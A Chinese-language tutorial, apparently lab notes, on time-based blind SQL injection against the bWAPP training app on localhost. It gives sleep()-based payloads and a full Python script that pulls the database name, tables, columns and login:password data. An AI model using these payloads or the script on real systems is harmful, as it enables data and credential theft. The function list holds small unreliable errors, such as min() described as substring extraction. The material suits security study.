时间盲注步骤:
-
准备攻击:首先,攻击者需要准备攻击工具,如Burp Suite等。
-
构造查询:攻击者将构造出一个查询请求,该请求的结果可以通过询问数据库的响应时间来推断。
-
发送请求:攻击者将构造的请求发送到目标数据库,并开始计时。
-
分析响应时间:如果请求的结果在数据库中存在,则响应时间通常会比不存在的请求的响应时间长。攻击者可以利用这一点来推断数据库中的数据。
-
收集信息:如果攻击者能够成功泄露数据库中的敏感信息,他可以收集并利用这些信息。
-
反复攻击:最后,攻击者可以重复上述步骤,不断收集更多的敏感信息。
常用函数:
sleep(n) --返回0 命令中断返回1
substr(a,b,c) --从b为止开始截取字符串a的c长度
count() --计算总数
ascii() --返回字符串的ASCII码
length() --返回字符串的长度
left(a,b) --从左截取a的前b位
min(a,b,c) --从位置b开始,截取a字符串的c位
ord() --返回第一个字符ascll值
benchmark(10000000,encode('hello','mom'))
MySQL 的 benchmark 的作用是测试 MySQL 数据库的性能。通过运行 benchmark 测试,可以了解 MySQL 数据库在不同条件下的性能表现,并且可以发现性能瓶颈所在,从而采取措施来优化性能。
运行 benchmark 测试可以帮助你了解 MySQL 数据库的吞吐量、响应时间、并发能力等性能指标。它还可以帮助你确定数据库配置参数的最佳值,并且可以帮助你评估新硬件或软件的性能表现。
运行 benchmark 测试还可以帮助你在更新或升级数据库时做出决策,确保新版本的性能不低于旧版本。它还可以帮助你验证数据库的可扩展性,并且可以帮助你在不同负载条件下评估数据库的稳定性。
目标:
- 获取到数据库名称长度
- 获取到数据库名称
- 获取表名
- 获取字段名
- 获取数据(login password)
目标一:
环境 :
(无回显)
原始数据库查询SQL
SELECT * FROM `movies` WHERE Title='Iron Man' AND length(database())=5 AND sleep(3);
靶场SQL:
Man of Steel' and length(database())=5 and sleep(4)#
响应时间为4.02s说明length(database())=5条件成立
目标二:
原始数据库SQL
SELECT * FROM `movies` WHERE Title='Iron Man' AND substr(database(),1,1)='b' AND sleep(3);
靶场SQL:
Man of Steel' and substr(database(),1,1)='b' and sleep(4)#
响应时间为4.02s说明substr(database(),1,1)='b'条件成立
(这个耗费时间太长,需要用到脚本)
完整脚本(py)
import time
import requests
# 获取数据库长度
def get_name_len():
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for i in range(10):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Man of Steel' and length(database())={} and sleep(1)%23&Maction=search"
url = url.format(i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print('长度是', i)
return i
# 获取数据库name
def get_sql_name(count):
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for j in range(count + 1):
for i in range(33, 127):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(1)%23&Maction=search"
url = url.format(j, i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print('name是', chr(i))
break
print('\n')
# 获取数据库中表的个数
def get_table_count():
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for i in range(10):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())={} AND sleep(1)%23&Maction=search"
url = url.format(i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print('共有表个数:', i)
return i
# 获取数据库中表的name
def get_table_name(count):
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for j in range(count):
print('\n' + "第{}个表名是:".format(j + 1))
for k in range(1, 10):
for i in range(33, 127):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {},1),{},1))={} AND sleep(1)%23&Maction=search"
url = url.format(j, k, i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print(chr(i), end='')
break
print('\n')
# 获取数据库中表的字段个数
def get_users_count():
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for i in range(16):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
(SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')={} AND sleep(1)%23&Maction=search"
url = url.format(i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print('users共有字段数:', i)
return i
# 获取数据库中的字段名
def get_users_name(count):
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for j in range(count):
print('\n' + "第{}个字段是:".format(j + 1))
for k in range(1, 20):
for i in range(33, 127):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \
ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT {},1),{},1))={} AND sleep(1)%23&Maction=search"
url = url.format(j, k, i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print(chr(i), end='')
break
print('\n')
# 获取数据库中users和password字段数据数量
def get_users_password_count():
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for i in range(16):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
(SELECT COUNT(login) FROM users)={} AND sleep(1)%23&Maction=search"
url = url.format(i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print('users和password字段共有数据数:', i)
return i
# 获取数据库中users和password字段数据
def get_users_password_data(count):
headers = {
"Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
}
for j in range(count):
print('\n' + "第{}个数据是:".format(j + 1))
for k in range(1, 55):
for i in range(33, 127):
url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \
ascii(substr((SELECT concat(login,':',password) FROM users LIMIT {},1),{},1) )={} AND sleep(1)%23&Maction=search"
url = url.format(j, k, i)
time_strat = time.time()
data = requests.get(url=url, headers=headers)
if time.time() - time_strat > 1:
print(chr(i), end='')
break
print('\n')
if __name__ == '__main__':
get_sql_name(get_name_len())
get_table_name(get_table_count())
get_users_name(get_users_count())
get_users_password_data(get_users_password_count())